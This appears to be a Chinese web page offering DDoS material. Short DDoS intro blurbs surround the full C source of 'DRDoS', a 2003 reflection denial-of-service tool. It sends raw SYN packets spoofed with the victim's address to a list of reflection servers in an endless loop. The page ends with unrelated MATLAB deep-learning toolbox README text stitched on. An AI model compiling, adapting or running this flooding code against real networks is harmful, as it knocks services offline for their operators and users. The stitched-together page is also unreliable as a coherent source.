一个DDOS工具源码

kail 工具使用(一) ddos 攻击 1、什么是ddos攻击? ddos:分布式拒绝服务攻击可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用,分布式拒绝服务攻击已经出现了很多次,导致很多的大型网站都出现了无法进行操作的情况,这样不仅仅会影响用户的正常使用,同时造成的经济损失也是非常巨大的. 2、黑客为什么选择DDoS 不同于其他恶意篡改数据或劫持类攻击,DDoS简单粗暴,可以达到直接摧毁目标的目的。另外,相对其他攻击手... 阅读详情

/**************************************************************************/
/* DRDoS - Distributed Reflection Denial of Service tool           */
/*                                                 */
/* Copyright (C) 2003 KrystalEye.com                         */
/*                                                 */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or   */
/* (at your option) any later version.                       */
/*                                                 */
/* This program is distributed in the hope that it will be useful,     */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of     */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the       */
/* GNU General Public License for more details.                 */
/*                                                 */
/**************************************************************************/
/* Version - 1.0                                       */
/*                                                 */
/* Purpose - Demonstration of DRDoS attacks                     */
/*                                                 */
/* Author - Nguyen Minh Nhat <ngmnhat@yahoo.com>                 */
/*       http://www.krystaleye.com/                       */
/*                                                 */
/* Disclaimer - You must be ROOT to use RAW socket.               */
/*           This program is for educational purposes only and     */
/*           network testing ON YOUR OWN NETWORK! Do not use it     */
/*           for malicious purposes!                       */
/*           I am in NO way responsible for what you do with this   */
/*           program, or any damage you or this program causes.     */
/*                                                 */
/* For whom - People with a little knowledge of TCP/IP, C source code   */
/*         and general UNIX. Otherwise, please keep your hands off,   */
/*         and catch up on those things first.                 */
/*                                                 */
/* Compiling - gcc -o DRDoS DRDoS.c                         */
/*                                                 */
/* Usage - Usage is described in the welcome screen of this program when */
/*       running it without arguments                       */
/**************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
int val;

char fname[1000];
FILE * list;

char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;

int serverfd;
struct sockaddr_in server;

char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;

if (argc != 3)
{
  printf("/nDistributed Reflection DoS tool - v1.0/n");
  printf("Copyright (C) 2003 KrystalEye.com/n/n");
  printf("Usage: %s <list> <target IP>/n/n",argv[0]);
  printf("   -list   : Path to Zombies (/"Reflection Servers/") list file/n");
  printf("   -target IP: IP address of target/n/n");
  printf("*** Syntax of list file ***/n");
  printf("   -Each line contains 1 zombie's information/n");
  printf("   -Each zombie is described by 5 numbers:/n");
  printf("     4 octets of IP address (without '.') and Port number/n");
  printf("   -Numbers are seperated by at least 1 blank character (' ')/n");
  printf("Example: 203 162 56 78 80/n");
  printf("     => IP: 203.162.56.78 || Port: 80/n/n");
  printf("Email: ngmnhat@yahoo.com/n");
  printf("Good luck! Thanks for using this tool!/n/n");
  exit(-1);
}
else
{
  sprintf(fname,"%s",argv[1]);
  sprintf(saddr,"%s",argv[2]);
  sprintf(daddr,"%s",argv[2]);
  tport = random() % 10000;
  sport = tport;
  dport = tport;
}

if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
  printf("Error: malloc()/n");
  exit(-1);
}

bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));

ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);

helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);

tcp->source = htons(sport);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->fin = 0;
tcp->syn = 1;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->window = htons(65535);
tcp->urg_ptr = 0;
tcp->check = 0;
helpcksum.tcp = *tcp;
tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
ip->id = random();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(saddr);
ip->daddr = inet_addr(daddr);
ip->check = 0;
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
  printf("Error: socket()/n");
  exit(-1);
}

setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;

if ((list = fopen(fname,"r")) == NULL)
{
  printf("Error: cannot open file/n");
  exit(-1);
}
fscanf(list,"%hu",&a);
if (feof(list))
{
  printf("Error: empty list/n");
  fclose(list);
  exit(-1);
}
fclose(list);

printf("/nAttacking %s.../n/n",argv[2]);
printf("Press <Ctrl-C> to Stop./n");

while (1)
{
  list = fopen(fname,"r");

  while (!feof(list))
  {
    fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

    sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);
  
    helpcksum.pseudo.daddr = inet_addr(daddr);

    ip->daddr = inet_addr(daddr);
    ip->id = random();
    ip->check = 0;

    dport = tport;

    tcp->source = htons(random() % 10000);
    tcp->dest = htons(dport);
    tcp->seq = htonl(random());
    tcp->check = 0;
    helpcksum.tcp = *tcp;

    tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
    ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

    server.sin_addr.s_addr = inet_addr(daddr);
    server.sin_port = htons(dport);
  
    sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

    usleep(100);
  }

  fclose(list);
}

close(serverfd);
return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft > 1)
{
  sum += *w++;
  nleft -= 2;
}
if (nleft == 1)
{
  *(u_char *)(&answer) = *(u_char *)w;
  sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
} 

DDOS入门介绍(一):DDOS简介 定义分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源,使得该目标系统无法提供正常的服务。。攻击的方式DDoS攻击通过大量的请求占用大量网络资源,以达到瘫痪网络的目的。攻 阅读详情

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Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

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